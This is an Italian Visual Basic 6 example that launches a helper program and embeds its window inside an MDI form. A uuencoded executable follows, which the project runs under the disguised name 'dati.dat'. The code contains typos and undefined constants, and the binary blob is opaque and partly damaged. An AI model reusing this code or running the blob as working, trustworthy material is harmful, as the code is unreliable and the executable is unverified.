MODULO RUBA.BAS ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Attribute VB_Name = "ruba" ' api, costanti e strutture (non tutte servono al programma) Public Declare Function GetWindowText Lib "user32" _ Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, _ ByVal cch As Long) As Long Public Declare Function ShellExecute Lib "shell32.dll" _ Alias "ShellExecuteA" _ (ByVal hWnd As Long, ByVal lpOperation As String, _ ByVal lpFile As String, ByVal lpParameters As String, _ ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Public Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function GetCapture Lib "user32" () As Long Public Declare Function SetParent Lib "user32" _ (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long Public Declare Function SetWindowLong Lib "user32" _ Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, _ ByVal dwNewLong As Long) As Long Public Declare Function WindowFroCHoint Lib "user32" _ (ByVal x As Long, ByVal y As Long) As Long Public Declare Function SetCapture Lib "user32" _ (ByVal hWnd As Long) As Long Public Declare Function ReleaseCapture Lib "user32" () As Long Public Declare Function ClientToScreen Lib "user32" _ (ByVal hWnd As Long, lpPoint As POINT) As Long Public Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long Public Declare Function MoveWindow Lib "user32" _ (ByVal hWnd As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, _ ByVal nHeight As Long, ByVal bRepaint As Long) As Long Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" _ (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long Public Declare Function IsWindow Lib "user32" (ByVal hWnd As Long) As Long Public Declare Function GetWindow Lib "user32" _ (ByVal hWnd As Long, ByVal wCmd As Long) As Long Public Declare Function TextOut Lib "gdi32" Alias "TextOutA" _ (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, _ ByVal lpString As String, ByVal nCount As Long) As Long Public Declare Function SetWindowPos Lib "user32" _ (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, _ ByVal x As Long, ByVal y As Long, ByVal cx As Long, _ ByVal cy As Long, ByVal wFlags As Long) As Long Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _ (ByVal hWnd As Long, ByVal nIndex As Long) As Long Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" _ (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Function GetCursorPos Lib "user32" _ (ByRef lpPoint As POINT) As Long Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Function GetMenu Lib "user32" (ByVal hWnd As Long) As Long ' hMenu Public Declare Function SetMenu Lib "user32" _ (ByVal hWnd As Long, ByVal hmenu As Long) As Long 'C BOOL Public Declare Function IsWindowVisible Lib "user32" _ (ByVal hWnd As Long) As Long 'C BOOL Public Type POINT x As Long y As Long End Type Public Declare Function DefFrameProc _ Lib "user32" Alias "DefFrameProcA" ( _ ByVal hWnd As Long, _ ByVal hWndMDIClient As Long, _ ByVal uMsg As Long, _ ByVal wParam As Long, _ lParam As Any) As Long Public Declare Function DefMDIChildProc _ Lib "user32" Alias "DefMDIChildProcA" ( _ ByVal hWnd As Long, _ ByVal uMsg As Long, _ ByVal wParam As Long, lParam As Any) As Long Public Const WM_COMMAND = &H111 Public Const WM_MENUCHAR = &H120 Public Const WM_MENUSELECT = &H11F Public Const WM_MDISETMENU = &H230 Public Const WM_MDIREFRESHMENU = &H234 Public Const WM_MOVE = &H3 Public Const WM_WINDOWPOSCHANGING = &H46 Public Const WM_MOVING = &H216 Public Const WM_SIZING = &H214 Public Const WM_ACTIVATE = &H6 Public Const WM_ACTIVATEAPP = &H1C Public Const WM_CHILDACTIVATE = &H22 Public Const WM_CLOSE = &H10 Public Const WM_DESTROY = &H2 Public Const WM_MDIDESTROY = &H221 Public Const WM_SYSCOMMAND = &H112 Public Const WA_ACTIVE = 1 Public Const WA_CLICKACTIVE = 2 Public Const WA_INACTIVE = 0 Public Const SC_CLOSE = &HF060& Public Const WM_SETFOCUS = &H7 Public Const WS_CHILD = &H40000000 Public Const WS_CLIPSIBLINGS = &H4000000 Public Const WS_CLIPCHILDREN = &H2000000 Public Const WS_EX_MDICHILD = &H40& Public Const WS_EX_WINDOWEDGE = &H100& Public Const GW_CHILD = 5 Public Const GWL_STYLE = (-16) Public Const GWL_EXSTYLE = (-20) Public Const HWND_TOPMOST = -1 Public Const HWND_NOTOPMOST = -2 Public Const SWP_NOMOVE = &H2 Public Const SWP_NOREDRAW = &H8 Public Const SWP_NOOWNERZORDER = &H200 Public Const SWP_NOSIZE = &H1 Public Const GWL_WNDPROC = (-4) Private a1 As Long Private a2 As Long Private a3 As Long Private a4 As Long Private a5 As Long Private a6 As Long Private a7 As Long Public Property Get QUALE() As Long QUALE = a1 End Property Private Function par(ByVal dw As Long) As Integer par = (dw And &HFFFF0000) \ 65536 End Function ' //-------------------- Procedure Public Function FAISU(ByVal HANDLE As Long, Optional operazione As Boolean = True) As Long Dim trova As Long trova = SWP_NOMOVE Or SWP_NOSIZE If operazione Then trova = trova Or HANDLE_TOPMOST Else trova = trova Or HANDLE_NOTOPMOST End If FAISU = SetWindowPos(HANDLE, 0&, 0&, 0&, 0&, 0&, trova) End Function Public Function ACCHIAPPA(ByVal CH As Long, ByVal MP As MDIForm) As Long Dim c1 As Long If 0 <> a1 Then Call MOLLA End If a1 = CH a3 = GetWindowLong(CH, GWL_STYLE) a4 = GetWindowLong(CH, GWL_EXSTYLE) a2 = GetWindowLong(CH, GWL_WNDPROC) c1 = GetWindow(MP.hWnd, GW_CHILD) a5 = SetParent(CH, c1) Call SetWindowLong(CH, GWL_STYLE, WS_CHILD Or WS_CLIPSIBLINGS Or WS_CLIPCHILDREN) Call SetWindowLong(CH, GWL_EXSTYLE, WS_EX_MDICHILD Or WS_EX_WINDOWEDGE) Call MoveWindow(CH, 5, 30, (MP.ScaleWidth / Screen.TwipsPerPixelX) - 10, (MP.ScaleHeight / Screen.TwipsPerPixelY) - 70, -1&) a6 = GetMenu(a1) a7 = GetMenu(MP.hWnd) Debug.Print "MDI menu = " & a7 Call SetMenu(a1, 0&) Call SetMenu(MP.hWnd, a6) ACCHIAPPA = True End Function Public Function MOLLA() As Long If 0 = a2 Then Exit Function Call SetMenu(a1, a6) Call SetMenu(fMain.hWnd, a7) Call SendMessage(fMain.hWnd, WM_MDIREFRESHMENU, 0&, 0&) Call SetParent(a1, a5) Call SetWindowLong(a1, GWL_STYLE, a3) Call SetWindowLong(a1, GWL_EXSTYLE, a4) a2 = 0: a1 = 0: a3 = 0: a4 = 0 a5 = 0: a6 = 0: a7 = 0: a8 = 0 MOLLA = True End Function Public Function POSSIBILE(ByVal HANDLE As Long) As Boolean Dim OK As VbMsgBoxResult If 0 = IsWindow(HANDLE) Then Exit Function HANDLE = SU(HANDLE) If fMain.hWnd = HANDLE Then Exit Function If a1 = HANDLE Then Exit Function If UCase(NomeClasse(HANDLE)) = "PROGMAN" Then Exit Function If UCase(NomeClasse(HANDLE)) = "SHELL_TRAYWND" Then Exit Function If UCase(NomeClasse(HANDLE)) = "WNDCLASS_DESKED_GSK" Then Exit Function If UCase(NomeClasse(HANDLE)) = "IDEOWNER" Then Exit Function If UCase(NomeClasse(HANDLE)) = "MS_WINDOC" Then Exit Function POSSIBILE = True End Function Public Function NomeClasse(ByVal HANDLE As Long) As String Dim passa As String If 0 = IsWindow(HANDLE) Then Exit Function passa = String$(256, vbNullChar) If 0 = GetClassName(HANDLE, passa, 255) Then a8 = 0 Else If InStr(passa, vbNullChar) Then NomeClasse = Left$(passa, InStr(passa, vbNullChar) - 1) End If End If End Function Public Function SU(ByVal HANDLE As Long) As Long Dim un As Long Dim du As Long du = HANDLE If 0 <> IsWindow(du) Then Do un = GetParent(du) If 0 = un Then un = du Exit Do End If du = un Loop End If SU = un End Function ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: BARABBA.fmr ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: VERSION 5.00 Begin VB.MDIForm prendi AutoShowChildren= 0 'False BackColor = &H8000000C& Caption = "BARABBA (Il ladrone) ;-)" ClientHeight = 6540 ClientLeft = 3000 ClientTop = 3150 ClientWidth = 8625 Icon = "prendi.frx":0000 LinkTopic = "MDIForm1" End Attribute VB_Name = "prendi" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Private Sub MDIForm_Load() prendi.Show ' Esegue minimizzato il programma "pingatore.exe" ' Rinominato alla bisogna dati.dat alfa = Shell("dati.dat", vbMinimizedFocus) ' aspetta un secondo in modo che tutti gli handle ' siano bel piazzati al loro posto! ;-) P = 1: S = Timer Do While Timer < S + P Loop ' trova l'handle del programma pingatore Handle_di_pingatore = FindWindow("#32770", "Pingatore ") ' lo ruba all'interno del form MCI (prendi) ' riattivandolo come normal_focus ACCHIAPPA Handle_di_pingatore, prendi End Sub ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: dati.dat (in formato UUENCODE) ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: <----------- TAGLIA QUI --------------------------------------------------------------------------> begin 644 dati.dat M35HI``8````(`!``__\(```!````````'``!```````````````````````` M``````````````````````$````````````````````````````````````` M``````````````````````````````````````````````````"Z$``.'[0) MS2&X`4S-(9"05&AIRB2`[H`$!UA`:$#H``0':``K0.O`!`=V`"[`VX`$!UN`,,#41(0 M'1PL-@6*`A`=&@5J!?8"$!WD!*`%D@`0';0`K07F`!`=.@&^!<,24`U=%_0& MX0%!#:X)!``#@`$``````#<'+P`P'`&```````6`#0``````9@<1`#`<-`$` M````Q`@+`#`0\`S3\#.@``S3\# M`@``S3\$+@``S3\$=```S3\$30``S3\$`@``S3\%<0$`S3\%-P``S3\%[P`` MS3\%`@``S3\%5`$`S3\&22@`S3\&`@``S3\&,0``S3\&2@``S3\&2@$`S3\& MEPD`S3\&Z`@`S3\&61L`S3\&BA8`S3\&DPT`S3\&BPX`S3\&>`,`S3\&H0,` MS3\&(P8`S3\&#QD`S3\&Q!H`S3\&;`$`S3\&C@\`S3\&J08`S3\&XQL`S3\& MI1P`S3\&=AP`S3\&/B$`S3\&?!X`S3\&H!\`S3\&6R,`S3\&$AT`S3\&U1T` MS3\&+1X`S3\&TR0`S3\&K24`S3\&P"4`S3\&\"4`S3\&N2<`S3\&D"<`S3\& M)"1$`S3\+*PX`S3\++@\`S3\+A`\`S3\+7@8`S3\+F@X` MS3\+)@L`S3\+R`\`S3\+.P<`S3\+O0<`S3\+W@4`S3\+Q@L`S3\+#0P`S3\+ MD0D`S3\+L@\`S3\+'1``S3\+7!``S3\+C1``S3\+Y!``S3\+.A$`S3\+EA$` MS3\+JQ(`S3\+?A4`S3\+O14`S3\++!,`S3\+AA,`S3\+2!,`S3\+U!8`S3\+ M(A<`S3\+0Q<`S3\+F!<`S3\+OQ<`S3\++Q@`S3\+GQ@`S3\+(!D`S3\+EQD` MS3\+O1D`S3\+11H`S3\+]Q4`S3\+-1L`S3\+/1P`S3\+DQX`S3\+6QT`S3\+ MN!X`S3\+XAT`S3\+2A\`S3\+VQ\`S3\+[2``S3\+42(`S3\+M2,`S3\+4"4` MS3\+AB4`S3\+CQP`S3\+OQP`S3\+[QP`S3\+)1T`S3\+`R<`S3\+JB<`S3\+ MUR<`S3\+[2<`S3\+^2<`S3\+4B@`S3\+@2@`S3\+GB@`S3\+(2D`S3\+>"D` MS3\+Q"D`S3\+!BH`S3\+VRH`S3\+4BL`S3\+4RH`S3\+MBL`S3\+^"L`S3\+ MEP``S3\+10``S3\+<0`!S3\+,P$!S3\+BP$`S3\+W`$`S3\+^@(`S3\+00,` MS3\+@@,`S3\+:P0`S3\+Z`0`S3\+(`4`S3\+I@4`S3\+9`D`S3\+:`T`S3\+ M70X`S3\+4`\`S3\+F!H`S3\,`@``S3\,>@``S3\,L0``S3\,3P$`S3\,/0(` MS3\,10,`S3\,E`,`S3\,W`,`S3\,=`(`S3\,BP(`S3\,"`0`S3\,[P(`S3\, M>P,`S3\,*00`S3\,9@0`S3\,Z`0`S3\,'0(`S3\-`@``S3\-'```S3\--@`` MS3\-6```S3\-K```S3\-%0$`S3\-9P$`S3\-D0$`S3\-R`$`S3\-/@(`S3\- M=P(`S3\-C`(`S3\-HP(`S3\-]P(`S3\-'`,`S3\-7P,`S3\-?P,`S3\-FP,` MS3\-8`0`S3\-NP0`S3\.F```S3\.`@``S3\.(0``S3\.1```S3\/`@``S3\/ M&0``S3\//@``S3\/80``S3\/?P``S3\/H0``S3\/#@$`S3\0`@``S3\070`` MS3\080``S3\0Q0H`S3\0`@L`S3\0J`L`S3\0V@L`S3\0]`L`S3\0&`P`S3\0 M60P`S3\0A0P`S3\0]@P`S3\0@@T`S3\0+0$`S3\01P$`S3\0F@H`S3\0B`,` MS3\0RP,`S3\0[`@`S3\0?`D`S3\07`@`S3\0KP<`S3\0H`0`S3\0+`4`S3\0 MA@41_P#-/Q`#%P#-/Q!B"@#-/Q#?%@#-/Q!C%@#-/Q"N%@#-/Q#_$0#-/Q`% M$@#-/Q`3$@#-/Q`4"@#-/Q#O`P#-/Q`Y!`#-/Q`;%P#-/Q#Q#0#-/Q#8!0#- M/Q`(!@#-/Q`M!@#-/Q!-!@`````,4&EN9V%T;W(N97AE`````````````$$P M```N!/__]@`&`````````````````&\`"@`````````````````````````` M`"IO3$%.1TQ/040@+2T@17)R;W(@:6X@;&]A9&EN9R!M;V1U;&4`5VEN1&5B M=6<`5TE.3D]42499`````````%6+[,G*`@"[___H"@"#^_]T!+0^S2'+N/__ M.]AU!2Z+'@@&PX/_`'0"ZQ:+!#/2BTTRT>#1TN+ZB\J+T+@`0LTAPU6+[('$ M@/X>+H,^"`;_=`+K+HV>@/ZX``%3_W8$%E-0FO__``!;"\"X__]T$(U6@+@` M`!93%E)0FO__``#H&04?R<("`&K_FO__``#,58OL@\3T'E97CEX*,_^+=@9. MC-@N.P8L`'0#Z0T#.S8<`'(#Z00#T>:+WM'FT>8#\P-U(H-^"/]U+CMU"'1H MBT8&.T46=&`N@SX(!O]U"?]V"NA>_XE&"(-^"/]U"BZ#/@@&_W4"ZS^+1`:+ M7`2+5`CWPP0`=`/IL0([=0AT+_?#`@!U`^FC`O?#`0!U%S/)"\!U`4%24E%0 M:@":__\``%H[PG4"ZU,SP#/2Z78"]\,"`'5&]\,0`'4#Z6X",\D#11)S!PO` M=`+KW4$#11!S!PO`=`+KT4&!RP!`NP(`4U%0FO__```+P'2]B40(@$P$`E!0 M'B[_'B0`6HE6^HE6_HE6_,=&]@``]T0$`(!T#HS)@^$#B\*#XOP+T>L.4IK_ M_P``.T;^=`/I``+W1`0!`'0(B5;^B5;\ZQ-2FO__```+P'4#Z6#_B4;VB4;\ MQT;X`0#_=OZ:__\``.L8'UY?ZP.07A\SP/].^'0%,]+IM`&T# M5E>+7@CH!OZ)7@B#^_]U`^F>`>@%_G+0BTP"B_F.7OPSTK0_"\EU#[D`@,TA M'_=$!``!=0/I^@!75AX. MFCH"``".V*,H`+HJ`+D"`+0_S2%S`^EO_SO!

S^.\%T`^GE_HM.]($^``!05W4$APX"`#/2 MZ"H#

5QY2!E#H@P,>FO__```NH2@`CMC& M!B0&`,<&*`````X?4)K__P``'UY?_W;^FO__``"`3`0$]T0$`0!U"/]V^IK_ M_P``BT[VXP91FL$#```N@#YI``!T)O=$!`"`=1^X4`"+7@9+BT[^N@``BW0$ MCD8*OR8`)HL]1R[_'FH`BT;^BU;Z7UX?ROTS%6+[!Y65[C__ST` M$'0+_W8(_W8&Z+@`ZP(SP(Y&"%]>'\G*!`"+=2*+31R#[@I)@\8*@WP(`'0# MZ8,`.74(='Z+7`2!RP!`]\,!`'4.45-04"[_'A``68O"ZT^#?`8`=!!1:@)J M`/]T!IH<`P``6>LY5E$STD*#Q@J#?`8`X?92BTP&:@)249J9!```6EE>"\!T M*U902H/&"@4V!(%,!`*`B40("])U[5A>"\!T$(!,!`*)1`A14!XN_QXD`%D+ MR70#Z6G_B\3#2T523D5,`%6+[#/_N/<$#E":__\```O`=`R+\`Z:TP(```O` M=0/IT`".V*,H`(Y&!HP&+`"X`0`FBPXR`-/@HRX`'FA6`)H)!0``"\!T'\8& M:0`!4!YH7P":__\``*-J`(D6;``+PG4%Q@9I``":__\``*D`!'0$_@9N`*$H M`,<&*`````X?4)KJ`P``CEX&BW4(C$P(BW4(@_X`=0+K5O=$!!``=0+K3>BQ M_@O`=$D>_W8$_W4<#NA$^[D!`(MU(NLH]T0$!`!U'?=$!`$`=0?W1`1``'0/ M41[_=@11#N@=^UD+P'02@\8*03M-'';3B\3)P@0`Z`0`,\#K]6H`#F@R`&H` M:@!J$)K__P``,\##__]0'E`.FA4%``".V%BC"`8>#A^:@`4``!]8PP```"Z` M/C``*G0-4%-1,]OV%T/B^UE;6,/\5;H0`*V+Z-'M2G4%K8OHLA!S`Z3K\3/) MT>U*=06MB^BR$'(BT>U*=06MB^BR$-'1T>U*=06MB^BR$-'104&LM_^*V.L4 MD*V+V+$#TN^`S^"`Y`=T#(K,04$FB@&JXOKKIJP*P'0+/`%T!8K(0>OJZY9= MB\_#+H`^,0`J=$N!/@``4%=U0U!34E97'@;_-@(`46H":@!1FK<$``!9CL"^ M!``S_RO.4?.D61X&'P6EM8=0+XP_G# M56YK;F]W;B!R96QO8V%T:6]N('1Y<&4@9F]U;F0N`%6+[('$]/Y65QZ+=@R. M1@Z.7A#IZ0$FBEP!@^,#T>,N_Z=-!U4'-`A?"*4()H!\!/]U%@;_=A(F_W0& M+O\>%``'B4;XB5;ZZRLFBT0&B4;X,\`FBD0$_LC1X(O8T>#1X`/#Q5X$BU\B M`]B+1PA(B4;ZCEX0)HM\`B:*'(/C#]'C+O^GK@?.!QT(T0?P!QT(&`@="!T( M'0@="!T('0@="!T('0@=".E4`8M&^B;V1`$$=`0!!>L.ZP:+R(<-B_F!____ M=?3I-0&+1OB+5OHF]D0!!'0'`04!50+K$>L)B\B'#8E5`HOY@?___W7QZ0T! MBT;XZ[!(M?*":+3`1)T>$#V8L' M!E`F_W0&+O\>%``'X\J.7A")1OB)5OKI/O_%7@2+?R@FBTP$2='A`_F+!8M? M*B8#7`8SR8H/0XO[`_F*#8@M4090'E.:404```=9B`V.7A")1OB)5OH+TG4# MZ7O_Z?C^)HM\`B:+7`2#^P9V`^EH_]'C+O^GO`@=",H(W0CP"`,)$0D?"2Z` M/FX``'4)@04R_H%%`0!`ZT@N@#YN``!U"8$%,@:!10$`@.LU+H`^;@``=0F! M!3(.@44!`,#K(BZ`/FX``'4$@04R%NL4+H`^;@``=02!!3)H``P!*``,!WP,#`&X```````!05P(0__\!``=# M;W5R:65R156)Y1[_8;B8`9K__P``@>SW,?_^A_5U`^G9`/]V$OT0_A#]#OT, M,JX M!K\"``Z("6KI\!_\R<9%*OA&!HQ_%\*)[%U-R@X`_O0``O[U]#_W&?@)@/P$ M:O+_-M($O["R'"SI4_S[/9Y2EGU)O[4-PONTO&'[C;[^YO%HXK_'XS'._H#M M`'0>YOWH@.;@_"_\A`#>O#K6\^L:X/Q4_>3X#&IE*VSQ9?@)@OPC?4B"_-3+ M_X+X(!V"^!#[HX0!B1:&`=4=ZQF#_?CTY?@+:F;E_/\V`+3T_.PP\`EV^`H# MC>UV_]EV^#B(D8IV^`D#Y?@0:@*`9W;^]/SLVNYV^`[V^`DE\P0E]0*\_(/L M)?P(>_C`=0HG\H!]*G4-QD;]&P<`:C"`]`3S`8K\_4O"^`SGZ`K_=@IJ#6@` M!>D*04>2^`DQ^!#E#.5%]NZ?L@:R^!&,TX[#C-O\PG_)Q:>LJI$P[?.DCMN] M5K/X$('A:@QJF_T=^`X*J?Y`YG#X]ZGX%HJ&\##D0(N[Y?C&@WWQ:FFM_/\X M^`RMMAT(K?T0RO80^N9IV_Q&\-Y#;O"-?O9A_8M&]NWR"(7Z_/KTUOWC'JOR MX__T!07-[N;_R?XLA#_EI^[9K>[]&*[ZNBO44&H$._`0XH:ZV`M4^`ODN!)6 M_A*AZK/NR.F=W.[T"-_\(0)H`]`'0#Z7R0[N\K(?Q%!"O^4?XQTHM^__`$ M-CM5Z'P(?Q;X1>9S!@`0ZO^)\OSFGS;:^`KD?PA\VN)VVO@+XO:/VN3P_P-% MWC835>``5>CXZ.#W[(#1@^DO?>G@+<8M%!H;$Z`;!4F?8"K\+V?@* M_-FVM*#?^`P3W_Z*Q'WR:[O@";#]347V=&B*TWCX$&I)5[G]>*)?OJ,1OQQ MOQ:AZ,/X"67Z9?@4Z-3:=M#]"/T&Z/@+:B!0__HFB@7913#D:^3X$T4!X_@5 MIFE5K?'=_W4OY,'X$VC)]?45,./X%-CVX_@.^18&9OE)#O'=^`K[R<+[_Q`` M$UCK=')A;G-M:70@97+;_G)O)?NR,1NZ!?@C` M!78%QT8,?_F+^XE&ZK@!`#L8'OIW'?7ZZP/_(-S[ZOJ)[`/XXL$1#P=5\^-U MZ(J/]=70Z',.SD#C_SOQ"`5&``@MX?SM[_4$".NTZPR&CC*-P0;W"H;",<`- M$?H"Z]O^NOZZ@UB;_CAH_B'^]?4@;[O6#_'_=?CD_OS]70[]E-F#?O``?18, M]+X'S^@-NO#*@T7NW>K;R<(*_S\`"TQO;VMI;F<@=7`@!U!^^/=O("`#+O\5 M8V]N#_]N97-S:?EE(&9A;&QI(<5T8>8(WF'V'QX"("@,*2#<;7!L97__\2X' M4T5.1.W9#2P@/3X"65D]/VJU.@-I]W\M_=\SP/I6@2-OA;S1=EE6JT? MV`D!P`SA_6:*P`Y?Q>+]9^+X#\'PR\2@MP?4A?<`,<"'_XF&$OK\%/J@A0`\ M,'(?Y!@\.7<4O_5@Q>.PEY;CZUJL_+_7"-O=-1YQ?-`.R/@+"L@,^HN'!_@+ MAOAT&L2^]L-;']$,_#TFBP5@L0*D_@``W/C<^$?7GJEB`YG4R;_CF?Z)_`'` M_[;A_-E2V`KZ_NO>_H'X"6H":@,9U8E&^(-^,6[X_ZT/K?;Y\O$0ARG6[<>& M\0(`BXO"L(-[^OE[_/E?'_CR^/G_=OC2_CG]"/J#OFY%_`!]/6?][V?X'W'X M";,^G/CIC`*,!OH0(`+ORN:B^@AP\=6GHN+B^0&%-JP'N1O;[4GCNZN'XZOWLQT;F@%/.^^C_?^[B2*']Y/C> M_>`/`.GU\HE6]$^V_@N8/*F$`6H`5>C4^\&P#/V\G-[N\>#YZ+/X3Q;T:PE, ML<@%?N;N]GY#J>5`&+/S^O;\[/F&$/SJ^:S*Q+8`/+W\M9VP$'6F@QXT-@&# MEC4+PPWM7JBKV-#U*Z`)&N0%"1KGB^O56O3^#NCX"7/P$MK^$=KX":SX"A[J M^`FUH4.YD[G1_B;G^`OL_>K]^>?^-.?X"8M&[HM6\/524_Y\4/+\*T;J&U;L M[%E>7_YW^+F'`#'VOP!(U_YJ!O<-M*5J)6_X"X-^[`#YN6AO0_CJ`'9B8?Q$ M>O@+Z/WF&]IZ_EOG^`OD_>+G_F=A^`OPJ]YOX(M.ZHM>;_S/R`VJ52NP"[JP M"?J3Y?@62O,+8K+HJ!,^J`IE67JX"D;8&N%&V!CB1M@6ZW:>ERJ"O'S8";_B MFYKOFY^_]*VNGI[HESCF_$68$K[X"@$"OO@7:E4PF;[X#LS@"K[X"@:^^!+5 M@`RPA?J8"QUOE/59JK]8P+@P`/R`#PBKZ$2)"O^EC?@)^_@.M+7]O_1+7KD0 M`E"_'@7=]A]=]HL]_UT MAQCX"0'X//C$?HSP`4H``@!SZ&XQQO#I^)/X+/@($+/XW/B]8XSX_OCT^#H; MX_@5`;C\(_A=P#K'&`$%`*[X0/B"8XSH1>CV\&PQQIR`\(3PY/@88Y'X[OB@ M^`%LC.2M\/V^^`SMQOC#R/WJR/T"`LC\!_@8J4?X'?C((C%&\/T^^$;X2/B* MM,!-^,!T`FW;P/R,P/V1T/VGP/VL\/W(P/W&&-+`_=SX"OCP<1CX(`'X?P!R MA[CX$0,H:.@N`S%&"/Q*^+SX6_B*U*!H^#A\X/T8VZCXX_B_V/W3Z/V--!($ M\/PF^*`W!,08J%OX1_@@8XSX9/@=^'XQQO@A^*'XZ-".U+30_`"^^�P/T8 M8^7@;?CS^'&,>/C]^%``(P5CC-#\./@3^+CX M_?J[$>C]__#]"0;X_!?X(%+Z_C_XN$:,C?CY^%+X_6:Q;?CZ^'+P_8#P_8SP M_9&,;?C\^,GP_=JX_>';H?#]\O#]^?#]`@?X^TAMF.KXN![P_3+P_3MCC/#] M3?A$^%34MOC(7>C]<=C]>O#]CHVQ\/V7\/VF^!?XL9&BZ/VV^ ^/,;R/*% M".`!HP@"P/.]*=+PH,+XV'S&&`G8_)_X"_BL-=KX..OP_'.'P M_`$4"K!`\BX*BD;P[6#R^*#R0OC'V*#Q`4S@-/:5X/T8VZCX%?BMV/VW^/U& MBL'0_CX`%OP$4:C\(CP^.J2\-$V^/*C^.CRK_C] MN_C]SE+;^(C5\/WA^/WFR/UNI/?P_00-@/00^/`VMAWP_2GP_33X!U#A2#'& M^/U0^`;X7?@88P7X:?@(^'(T4O@H\G?XH);;-L#]H[#]K_#]O/#]R/#]V<8V M^.OXXNC]Y\#]^KK1^"#R%0[X_"KX8.'],0`^\/P!1PX"`'3P61IM\"#R9O@` M\GCP_7VTC?@`\I;P_9OP_:<">OA@V7CXX-D!U@Z(C?2!\-OH_?EV-_B`XO[@ M_1@/X/P=#^#\.U*D^.!`^.#&8EK@_6?PN$#2^`HCQ?#Q@?A(E_AXQP'8K@\' MF-H`L_`8B^?XN/@9*.K%V/@4*.KX#OC,R/V8<-_XE'CXZ0`!``#P``````!0 M5P(!__\"`%6)Y3'`FO__``"A/`7_'XL6/@6CY@2)%N@$_S;2#O/\'C@%^$`% MXLZ!:$`"#XW/J,`(3#R,+CFN@@" M_2KX#*_X_+P(`"L`\``-`%!73P#_AP,`"`#_`/@``P$G_+$Q`"[\0?#]4O2' MQAC\8O#D^&QCC/CP^''X2#'&X(;T+?B@^-@<,OBU^/W*^`7AL\S8#P`"`.?X M````\`````````````````!05Y\`_V,#`,@0``#'1O`,^_+XA_:-?O`65YK_ M__;_AXM&^(M6^HE&_(E6_O3P@?ST_LG+R`3H?X/C`T8&$U8(X_@,RN0/X>'_ MB\B+VND&Z0@K&P[!&]/9^!`"WO]V"/D?_0;3@_H`?`M_!3W^'_9V!+``ZP*P M`8A&_XI(`/W5`/``!``#`18``0!0``,`,P#_`!,``P!2`/\`$P`#`'\`_P`2 M`````````````````%!7B`'__P0`58GEBU8,BTX&'L5V"/__T>GX_.,%K1'" MXON#T@#W1O_I!@$`=`BL,.0!PO'2B?_AT!_)R@@``2[((.?&1@^'Z@#'1N#W MZP/_^0#_B]2Y""7_`('B`/\?`%)0:@"-?N(65VH&FO_@`.WTON#^\T$2[NK[ M\/SD]OWGW^QJ%/2#?N`$?2;4^`_7,+\U``[4^!&1_+ET,=N'0/")\(GPGW^^ M=`/I;__5Q'X*!E=H8(#CWT@5!X@!(,@649_J`32?_Q/]8OVH^`J`7+OT#W,H MW?Q\^`KM?/@3Z](^AIGX%:[QOZP('N<&YQK":NC\X_@+N/2Z_:/P`4).%D0& MQ@9&"@#GRP#P`!,`4%=G`/\0`P!B`/\``P'X MZ/VH&V/H_;3H_<3X[/CEAQCP_0`!^!7X#"E2^/`B^,@LI#;XR#CH_4SX_63& M^/CY^&GX_``%\;,`=?@8``(`>/@```#P`````````````````%!7>RC_/P4` M58GE,<":__\``#'_?PCY=!/_=@[]##__ZE#$?@8&5^O$1@:,PHN0R M!,XGWK@R`/&#[#)E_.EMB7[2C$;4\_]U_.$$Y(E&_/]V_3:FQO<"\?WZ\8U^ MUA:V_`G`/T9T4(M&X)E2^M;ZY=^X_8[X"1>#?0X`=0WR_J,-QT4.5N7_$.7X M#!`TW^60=OJ_@'X*1O+<8_S1B^'Q"T5#\.SXN><^I`(`=!%EJ&L$9?_K#U3X M#J+V1:+#&$*_!DCKT.X[&![[?V?V_NL#_Z"%^\W^@?Q!2OWGA]_VB5;X,/8+ M1OAT.(;\B'!%)*3S]H''`/Q>U__O'\1_OP"@1X[M*/Y3W_70P_ M@,#_TB8K11[`C=JBF^I\_>/\1^/\(./X$+NB36#_(O&?].T&TN@,"H(&(]?N MPORS26W_%AH$0%._#7OA_+I M`UI8E_7I[@$](:/TCU3`@WT,`'\)?"#O-O<*`'89J?@*]]BG^"7JI_@*E80& MIR:G%3WC__YT*+:__>E[YBCF_J`A_K_F_V'F):&&YM""_>;^1^8VA"?,_`'F M^`XMYB3FPP0W@'[S=!A0,5EW"/P&V4W^%C3^B/KH#/QA\<3\\0`]D(LCQ#_$ M',3X"K&-_!C\%L#^&N3\%`TA_!*\^`^MO"V\$W<(O`H6\`GIE>@NW;?H)]/P M&0-?T_?K:3T;U/@SP_?>U_W4"ZV:.ZH!]!"`%J')3Z?R[G@7OZ%/Q`#>OWWC-..PXS; 